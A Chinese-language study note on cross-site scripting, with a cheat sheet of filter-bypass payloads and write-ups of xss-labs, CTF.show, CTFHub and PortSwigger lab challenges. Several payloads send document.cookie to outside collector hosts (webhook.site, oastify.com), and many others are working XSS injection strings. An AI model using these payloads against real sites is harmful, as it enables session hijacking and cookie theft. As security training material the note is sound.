xss学习

基础

简介

网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

分类

反射型XSS:<非持久化>

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS

存储型XSS:<持久化>

代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)

dom型与反射型的区别:

在dom型中输入的内容并不会出现在响应体里面(源码里面也不会)

响应体是我的输入会经过后端,经过后端渲染后再返回到前端;dom型是直接通过前端的js代码把我的输入插入到页面中进行实时渲染,这个时候并不是后端反应给我的,dom型没有向后端发起任何请求,而按F12可以看到输入的内容插入到源码中是因为其返回的是实时渲染的结果

补充

js伪协议:就是把javascript: :后面的代码当JavaScript来执行


使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素

但是默认是只编码双引号的,而且单引号无论如何都不转义。

预定义的字符是:

1
2
3
4
5
- & (和号)成为 &amp;
- " (双引号)成为 &quot;
- ' (单引号)成为 '
- < (小于)成为 &lt;
- > (大于)成为 &gt;

CRLF注入漏洞

这也就牵扯到CRLF漏洞了

在 HTTP 协议中,CRLF 被用来分隔 HTTP 请求和响应中的各个部分。

CRLF 是回车符(carriage return,CR)和换行符(line feed,LF)的缩写,它们通常被一起使用来表示一行的结束。CRLF 漏洞(也称为 HTTP 报头注入漏洞)是一种 Web 应用程序安全漏洞,攻击者可以利用这个漏洞向 HTTP 响应中注入任意的 HTTP 头或者响应体,一般攻击者可以通过在输入中注入 CRLF 字符来改变 HTTP 响应的内容,从而实现恶意操作。

比如有一个搜索关键词的网站利用GET的形式传参

1
exp:?key=aaa

如果该网站存在CRLF漏洞,那么我们就可以利用回车符/换行符进行绕过过滤

1
?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)>

我们抓一下包看一下返回包

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK

Date:xxxxxxxxxx

Content-type:text/html

Contet-Length:xxx

Connection:close

Location:

<img src=1 onerror=alert(/xss/)>

浏览器会根据第一个CRLF把HTTP包分成header和body,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS

浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。

怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。

我们可以将X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS

绕过姿势

拼接绕过

eval

1
<img src="x" onerror="eval('al'+'ert(Evi1s7)')">

top

1
<img src="x" onerror="top['al'+'ert'](Evi1s7)">

window

1
<img src="x" onerror="window['al'+'ert'](1)">

self

1
<img src="x" onerror="self[`al`+`ert`](1)">

parent

1
<img src="x" onerror="parent[`al`+`ert`](1)">

frames

1
<img src="x" onerror="frames[`al`+`ert`](1)">

函数替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">

以上只是利用<img>标签进行举例,也可以在别的标签中使用

嵌套绕过

1
<sc<script>ript>alert('Evi1s7')</sc</script>ript>

在这一段代码中,由于标签名被拆分成两部分,浏览器会将第一个尖括号视为标签名的起始符号,而第二个尖括号则是<script> 标签的起始符号,导致浏览器误以为有两个标签被嵌套在一起,从而实现我们的XSS攻击

url编码绕过

需要注入点存在href属性或者src属性,才可以利用url编码转义

(注意在url解析过程中,不能对协议类型进行任何的编码操作)

1
2
3
<a href=javascript:alert(1)>Evi1s7</a>
#
<a href=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</a>

scr和href属性

1.src属性

总的来说,src属性通常用于指定外部资源的URL,让浏览器从指定的URL中获取资源并加载它们。

<script>标签

src属性用于指定引入外部JavaScript文件的URL

<img>标签

src属性用于指定要显示的图像的URL

<iframe>标签

src属性用于指定要嵌入的另一个文档的URL。

<audio><video>标签

src属性用于指定要播放的音频或视频的URL

1
2
3
4
5
6
<audio controls>
<source src="path/to/your/audio.mp3" type="audio/mp3">
</audio>
<video controls>
<source src="path/to/your/video.mp4" type="video/mp4">
</video>
2.href属性

总的来说,href属性通常用于指定链接目标的URL或外部资源的URL,以及用于指定基准URL或图像地图中区域的URL。

<a>标签

href属性用于指定链接目标的URL。

<link>标签

href属性用于指定外部样式表的URL。

1
<link rel="stylesheet" type="text/css" href="path/to/your/stylesheet.css">

<base>标签

href属性用于指定基准URL,所有相对URL都将以该URL为基础。

1
2
<base href="https://www.example.com/">
<a href="path/to/your/page.html">Link Text</a>

<area>标签

href属性用于指定图像地图中区域的URL。

1
2
3
4
<img src="path/to/your/image.jpg" alt="Your Image" usemap="#your-map">
<map name="your-map">
<area shape="rect" coords="0,0,100,100" href="path/to/your/page.html">
</map>

()绕过

1.利用反引号

1
<script>alert`1`</script>

2.throw绕过

1
2
<script>alert;throw 1</script>
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

单引号过滤

1.可以利用斜杠替换

1
<script>alert(/Evi1s7/)</script>

2.利用反引号替换

1
<script>alert(`Evi1s7`)</script>

长度限制

可以利用拆分法

1
2
3
4
5
<script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>Evi1s7</a>")'</script>
<script>eval(a)</script>

利用eval()函数将字符串解析为可执行的代码,从而进行拼接

1
document.write("<a href=http://VPS-IP:port>Evi1s7</a>")

分号绕过

当只过滤了分号时,可以利用花括号进行语句隔离

1
<script>{onerror=alert}throw 1</script>

xss挑战之旅

靶场:http://test.ctf8.com/

level-1

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

没有任何过滤,直接:/level1.php?name=<script>alert(1)</script>,弹出弹窗,进入下一关

level-2

1
2
3
4
5
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>

$str被双引号包含,所以我们需要先包含双引号后再xss:"><script>alert(1)</script>,或者 "><script>alert(1)</script><" 弹出弹窗,进入下一关

level-3

1
2
3
4
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>

payload:'onclick='alert(1)r然后再点击一下输入框就成功了

1
<input name=keyword  value=''onclick='alert(1)'>

level-4

1
2
3
4
5
6
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">

payload:"onclick="alert(1)

level-5

1
2
3
4
5
6
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value=""><a href="javascript:alert(1)">">

payload:"><a href="javascript:alert(1)">,利用浏览器自动校正轻微语法错误

level-6

1
2
3
4
5
6
7
8
9
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">

该题有多种payload,基本上只要把前几题改下大小写就可以了

level-7

1
2
3
4
5
6
7
8
9
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("rcs","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">

全转换成小写了,大小写不管用,但是可以双写绕过:"><scrscriptipt>alert(1)</scrscriptipt><"

level-8(HTML实体绕过)

1
2
3
4
5
6
7
8
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

可以用HTML实体来绕过过滤: &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

HTML实体:字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读

level-9(http)

1
2
3
4
5
6
7
8
9
10
11
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}

在上题的基础上再添上 //http://就可以了

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

level-10

1
2
3
4
5
6
7
8
9
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

当一个input元素里面有两个type时,那么只有第一个 type 属性会被浏览器解析,而第二个 type 属性会被忽略

payload:t_sort="type="text"onclick="alert(1)

level-11

1
2
3
4
5
6
7
8
9
10
11
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">

在referer里面进行修改就行:"type="text"onclick="alert(1)

level-12

和上题不同的是要在User-Agent里面改

level-13

这题在cookie里面改就可以了

1
"type="text"onclick="alert(1)或者" type="text" onmousemove="alert(1)

level-14

考到了杂项,不会

level-15(文件包含)

1
2
3
4
5
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。

ng-include属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下

所以这题我们只需要包含第一题的漏洞就好了:src='level1.php?name=<img src=1 onerror=alert(1)>'

level-16(替换空格)

1
2
3
4
5
6
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";

1、“0D”是把光标移到同一行的顶头——回车(CR)。

2、“0A”是把光标移到下一行——换行(LF)。

3、用“/”代替空格

使用替身,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的

payload:<img%0dsrc=1%0donerror=alert(1)>

CTF.show

web316-web319

除了316外后面几题过滤了 <javascript>,所以解题如下:

1
<body onload="window.open('https://webhook.site/346c0b70-1254-4efc-a539-54c670644ab2/?a='+document.cookie)">

web320-web326

可以通过在输入框输入一串字符(比如:我输入了script),然后查看回显,有回显说明没有被过滤掉,无回显说明被过滤掉了

web320:

通过查看网址发现空格被替换成了加号,过滤了空格,可以用/或者/**/来代替空格,所以解题如下:

1
<body onload="window.open('https://webhook.site/346c0b70-1254-4efc-a539-54c670644ab2/?a='+document.cookie)">

后面几题都可以用上述的方法

web327

发信人必须是admin,然后信的内容是xss的内容就好了

CTFHub-XSS

反射型

image-20240318195231298

该题没有任何过滤,最开始我只在第一行里面构造xss,payload如下:

1
<script>window.location.href=`https://pxq8pofmxik8gq7hg445ctw5jwpnde13.oastify.com/?${document.cookie}`</script>

提交之后确实会访问该网站但是查bp的时候发现没有任何的cookie,后面再看眼页面发现需要利用第二行发送一个url给Bot,所以如下:

1
http://challenge-fe994fbb8a6a0602.sandbox.ctfhub.com:10800/?name=<script>window.location.href=`https://pxq8pofmxik8gq7hg445ctw5jwpnde13.oastify.com/?${document.cookie}`</script>

发送后在bp查看获取flag

过滤空格

只要空格变为 /**/就好啦

bp实验室

本实验在搜索博客功能中包含一个基于 DOM 的跨站点脚本漏洞。它使用赋 innerHTML 值,该赋值使用来自 location.search 的数据更改 div 元素的 HTML 内容

最开始在搜索框中输入 <script>alert(1)</script>的时候,并没有成功执行,通过hackbar查看元素的时候发现该行代码成功注入,但是没有执行(后面看解析视频的时候说是因为同步的问题,浏览器的自我保护机制)

于是我们再思考思考有什么是可以被执行的,即img元素,我们运用的也仅仅是一个报错罢了,所以尝试在输入框内输入 <img src=1 onerror=alert(1)>,点击发送,页面成功回显alert,于是通过这个方法我们也可以执行任意的js代码来达到我们的目的

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

该题先是尝试了在评论区里面评论以及提交反馈处xss,但是都失败了,后面查看了一下提交反馈界面的源码,发现了以下代码:

1
2
3
4
5
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
  • $(function() { ... }): 这是jQuery中的一种文档就绪函数,即在DOM加载完成后执行其中的代码。它等价于JavaScript中的document.addEventListener('DOMContentLoaded', function() { ... })
  • $('#backLink'): 这是jQuery选择器,用于选取id为”backLink”的元素。
  • .attr("href", ...): 这是jQuery中用于设置元素属性的方法。在这里,它设置了id为”backLink”的元素的href属性。
  • (new URLSearchParams(window.location.search)).get('returnPath'): 这一部分使用了JavaScript中的URLSearchParams对象来获取当前页面URL中查询参数”returnPath”的值。首先,通过window.location.search获取当前页面URL的查询参数部分,然后使用URLSearchParams对象来解析这个查询参数字符串,最后调用.get('returnPath')方法获取名为”returnPath”的参数的值。

看到网址处:https://0aa3002e043a24f88b20e4c8006c0026.web-security-academy.net/feedback?returnPath=/尝试性在后面输入 abc123,检查back按键发现输入内容已经进入了href后面,如下:

于是我们把输入的内容改为:javascript:alert(document.cookie),然后再点击back按键,解决问题

Lab: DOM XSS in jQuery selector sink using a hashchange event

要求:要解决该实验室问题,请向受害者提供一个漏洞利用程序,在其浏览器中调用 print() 函数

进入实验室,查看源代码,js代码如下:

1
2
3
4
 $(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});

这段代码是用jQuery编写的,监听浏览器URL中哈希值(#后面的部分)的变化,当哈希值发生变化时,它会查找页面上带有特定标题的元素,并将页面滚动到该元素位置。

具体来说:

  • $(window).on('hashchange', function(){...});:这一行代码是当浏览器URL的哈希值发生变化时触发的事件处理程序。
  • var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');:这一行代码是查找页面上包含特定标题的元素。它首先解码哈希值(由decodeURIComponent()函数完成),然后使用选择器section.blog-list h2:contains(...)查找带有指定标题的<h2>元素。查找结果将被存储在变量post中。
  • if (post) post.get(0).scrollIntoView();:这一行代码是将页面滚动到包含特定标题的元素处。它首先检查是否找到了符合条件的元素(通过检查post变量是否存在),如果找到了,则使用scrollIntoView()方法将其滚动到可见区域。

这段代码的功能是让页面在加载后根据URL中的哈希值自动滚动到对应标题的部分

页面源码中的h2元素就是文章的标题

网上找到的关于此函数的相关漏洞链接:https://bugs.jquery.com/ticket/9521/

发现了有意思的地方如下:

1
2
"$(location.hash)" expected CSS selector in many case, but this code also can create html element.
“$(location.hash)”在很多情况下都需要 CSS 选择器,但此代码也可以创建 html 元素。

上面的意思就是说如果未找到css选择器中要查找的元素,那么会自动创建html元素

这样子的话我们可以直接在#后面加上js代码:https://0a3200c703b1b8bf81aed57300fd0044.web-security-academy.net/#<img src=x onerror=print()>,点击回车会有弹窗出现,但是只能够触发一次,下一次就失败,无法访问网站,所以直接把该链接给受害者的办法是行不通的,需要换一种思路:首先加载https://0a3200c703b1b8bf81aed57300fd0044.web-security-academy.net/#,然后我们再把payload加载到该url中,这样便可以触发一次哈希更改事件

所以我们在bp提供的漏洞利用程序中的body部分可以这样写到:

1
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

测试该漏洞成功,把它发给受害者,题目解决

Lab:将 XSS 反射到带有尖括号 HTML 编码的属性中

要求:此实验室在搜索博客功能中包含一个反映的跨站点脚本漏洞,其中尖括号是 HTML 编码的。要完成此实验,请执行跨站点脚本攻击,注入属性并调用 alert 函数

在搜索框处随机输入一串字符,然后检查元素,如下:

1
<input type="text" placeholder="Search the blog..." name="search" value="ilbxoiusagxui">

于是我们可以尝试逃出双引号,首先尝试输入:"><script>alert(1)</script><",失败,检查元素,发现特殊符号被转化为HTML实体,

接着尝试:"onload="alert(1),失败,没有弹窗

接着尝试另一种方法:"onmouseover="alert(1),鼠标经过相关元素,弹窗成功,题目解决

Lab:将 XSS 存储到带有双引号 HTML 编码的锚点 href 属性中

要求:该实验在评论功能中包含一个存储的跨站点脚本漏洞。要完成此实验,请提交一条评论,该评论在单击评论作者姓名时调用 alert 函数

随便点进一篇文章,先随便提交一条评论,接着返回查看评论,如下:

image-20240503102750448

点击评论者名字的话会自动跳转到你输入进去的网址

所以我们有了思路,在写评论中让你输入网址的地方利用js伪协议,输入:javascript:alert(1),提交评论,题目解决

(url的组成是协议加上地址,所以我们用js伪协议可以成功)

Lab:将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中

要求:此实验室在尖括号编码的搜索查询跟踪功能中包含反映的跨站点脚本漏洞。反射发生在 JavaScript 字符串内。要完成本实验,请执行跨站点脚本攻击,突破 JavaScript 字符串并调用 alert 函数

在搜索栏中搜索文章名字后,右键检查元素,发现了相关的js代码如下:

1
2
3
4
<script>
var searchTerms = '125';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

最开始的思路被题目带歪了,一直在思考着怎么突破下面的双引号包括,当然最终的尝试以失败告终

然后就没有思路,开始看下面的讲解视频,发现他是突破上面变量searchTerms的单引号包括,恍然大悟

进行尝试:';alert(1);'尝试失败,但是成功逃脱了单引号包括,要解决的就是后面遗留的';

所以我们可以自己再创造一个变量出来解决这个问题:';alert(1);let word='

题目解决

不得不说思路得扩大一点,不能只局限于一处,要多看看其他地方有没有可以突破的地方

要求:此实验室在股票检查器功能中包含基于 DOM 的跨站点脚本漏洞。它使用 JavaScript document.write 函数,将数据写入页面。 document.write 函数使用来自 location.search 的数据进行调用,您可以使用网站 URL 进行控制。数据包含在选择元素内。
要完成此实验,请执行跨站点脚本攻击,该攻击会突破 select 元素并调用 alert 函数

相关的js代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>

这段 JavaScript 代码创建了一个 <select> 元素,其中包含了一组商店名称作为选项。它还根据 URL 查询参数中的 storeId 值选择了一个默认选项。

让我们逐行解释代码的功能:

  1. var stores = ["London","Paris","Milan"];:定义了一个包含商店名称的数组。
  2. var store = (new URLSearchParams(window.location.search)).get('storeId');:使用 URLSearchParams 获取了当前页面 URL 查询参数中名为 storeId 的值,并将其存储在 store 变量中。
  3. document.write('<select name="storeId">');:使用 document.write() 方法输出了一个 <select> 元素的开始标签。
  4. if (store) { ... }:检查是否存在 storeId 参数。如果存在,就在 <select> 中添加一个被选中的选项,显示当前的 storeId 值。
  5. for (var i = 0; i < stores.length; i++) { ... }:遍历商店数组,对每个商店创建一个 <option> 元素,并将其添加到 <select> 中。
  6. document.write('</select>');:输出 <select> 元素的结束标签。

通过这段代码,你可以在页面上创建一个下拉菜单,其中包含了预定义的商店选项,并且可以根据 URL 中的 storeId 参数自动选择默认选项

于是我们尝试在url中添加参数:https://0a9a006303a2363184429b37009500d5.web-security-academy.net/product?productId=1&storeId=sherlock,然后回车,检查元素,变化如下:

1
2
3
4
5
6
<select name="storeId">
<option selected="">sherlock</option>
<option>London</option>
<option>Paris</option>
<option>Milan</option>
</select>

题目告诉我们说要突破select标签,所以我们可以让它提前闭合,payload如下:

storeId=sherlock</select><img src="1" onerror=alert(1)>后面未闭合的标签我们不需要去管,浏览器会自动修复,回车后如下

1
2
3
4
5
6
7
<select name="storeId">
<option selected="">sherlock</option>
</select>
<img src="1" onerror="alert(1)">
<option>London</option>
<option>Paris</option>
<option>Milan</option>

题目解决

Lab:AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码

该实验在搜索功能中的 AngularJS 表达式中包含基于 DOM 的跨站点脚本漏洞。
AngularJS 是一个流行的 JavaScript 库,它扫描包含 ng-app 属性(也称为 AngularJS 指令)的 HTML 节点的内容。当指令添加到 HTML 代码中时,您可以执行双花括号内的 JavaScript 表达式。当对尖括号进行编码时,此技术非常有用。
要完成此实验,请执行跨站点脚本攻击,该攻击执行 AngularJS 表达式并调用 alert 函数


根据题目提供的相关描述,在谷歌上面进行搜索,得到了一篇相关的非常有用的文章:https://nosec.org/home/detail/4153.html

由于尖括号被编码了,所以我们不能使用相关特殊字符,便尝试用双花括号

首先输入{{1+1}}:输出为2,表明应用很容易受到客户端模板注入的影响

默认情况下,作用域对象包含另一个名为“构造器”的对象,该对象包含一个也被称为“构造器”的函数。此函数可用于动态生成和执行代码。而这正是我们执行XSS的payload所需要的

所以构造payload为:{{constructor.constructor('alert(1)')()}}

题目解决

Lab:反射型 DOM XSS

本实验演示了反射 DOM 漏洞。当服务器端应用程序处理请求中的数据并在响应中回显数据时,就会出现反射 DOM 漏洞。然后,页面上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。要完成本实验,请创建一个调用 alert() 函数的注入

先打开burpsuite,进入实验室后打开proxy,然后在搜索框中随便输入字符串(比如xss),到bp的代理的url历史中找到/search-results?search=xss,把它发送到repeater中,该条目具体内容如下:

image-20240503170613079

我们可以尝试突破双引号包括,即xss"-alert(1)}//,发现行不通,双引号会自动被转义,于是我们可以自己先给它加个转义,而转义符也是可以被转义的,这样子我们就可以突破双引号了,payload为:xss\"-alert(1)}//,如下:

image-20240503171338902

成功逃脱,弹窗成功,题目解决

payload中-的作用:- 后面的内容 alert(1) 是一个 JavaScript 代码片段,它尝试执行一个弹窗警告框。然而,在这种情况下,这段代码被包含在双引号 " 中,并且在外面包裹了反斜杠 \。这样做是为了避免 JSON 格式出错,因为双引号和反斜杠都是 JSON 字符串中的特殊字符,需要进行转义处理。

总之,- 的作用是对搜索条件进行逻辑操作,而这个搜索条件中包含了一个被排除的 JavaScript 代码片段

Lab:存储的 DOM XSS

按照上一题的思路来做,同样的评论部分都为json文件,观察到name位于最后的位置,于是按照上题在name输入框可以这样写:xss\"-alert(1)}]//,回车之后发现并没有奏效

检查响应,发现给\"分别都做了转义处理,于是失败了

查看题解,payload是写在评论的内容中:<><img src=1 onerror=alert(1)>,回车后点返回到博文,成功弹窗,题目解决

根据题解所说,这样子之所以可以奏效是因为为了防止 XSS,该网站使用 JavaScript replace() 函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数仅替换第一个匹配项。我们利用此漏洞只需在评论的开头添加一组额外的尖括号即可。这些尖括号将被编码,但任何后续的尖括号都不会受到影响,使我们能够有效地绕过过滤器并注入 HTML